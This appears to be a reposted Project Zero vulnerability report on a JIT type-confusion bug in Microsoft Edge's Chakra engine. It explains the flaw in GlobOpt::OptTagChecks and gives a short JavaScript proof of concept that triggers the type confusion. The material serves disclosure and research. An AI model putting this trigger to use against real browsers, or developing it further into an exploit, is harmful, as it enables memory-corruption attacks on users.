Microsoft Edge Chakra JIT Exploit, 'GlobOpt::OptTagChecks' Must Consider IsLoopPrePass Properly

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1365

Some background: https://bugs.chromium.org/p/project-zero/issues/detail?id=1364

There's one more place that emits a BailOnNotObject opcode.

Here's a snippet of GlobOpt::OptTagChecks.
    if (valueType.CanBeTaggedValue() &&
        !valueType.HasBeenNumber() &&
        (this->IsLoopPrePass() || !this->currentBlock->loop))
    {
        ValueType newValueType = valueType.SetCanBeTaggedValue(false);

        // Split out the tag check as a separate instruction.
        IR::Instr *bailOutInstr;
        bailOutInstr = IR::BailOutInstr::New(Js::OpCode::BailOnNotObject, IR::BailOutOnTaggedValue, instr, instr->m_func);
        ...
    }

The JIT compiler analyzes a loop twice for some reasons such as to track types properly. In the first analysis, "IsLoopPrePass" returns true. And it returns false in the second analysis.

But in the above snippet, it emits the bailout opcode in the first analysis("this->IsLoopPrePass()" is satisfied). But the return value of "valueType.HasBeenNumber()" can be different in the second analysis. So it may fail to detect type changes.

PoC:
*/

function opt() {
    let obj = [2.3023e-320];
    for (let i = 0; i < 1; i++) {
        obj.x = 1;  // In the first analysis, BailOnNotObject emitted
        obj = +obj;  // Change the type
        obj.x = 1;  // Type confusion
    }
}

function main() {
    for (let i = 0; i < 1000; i++) {
        opt();
    }
}

main();

All rights reserved nPulse.net 2009 - 2024
Powered by: MVCP 2.0-RC / BVCP / ASPF-MILTER / PHP 7.4 / NGINX / FreeBSD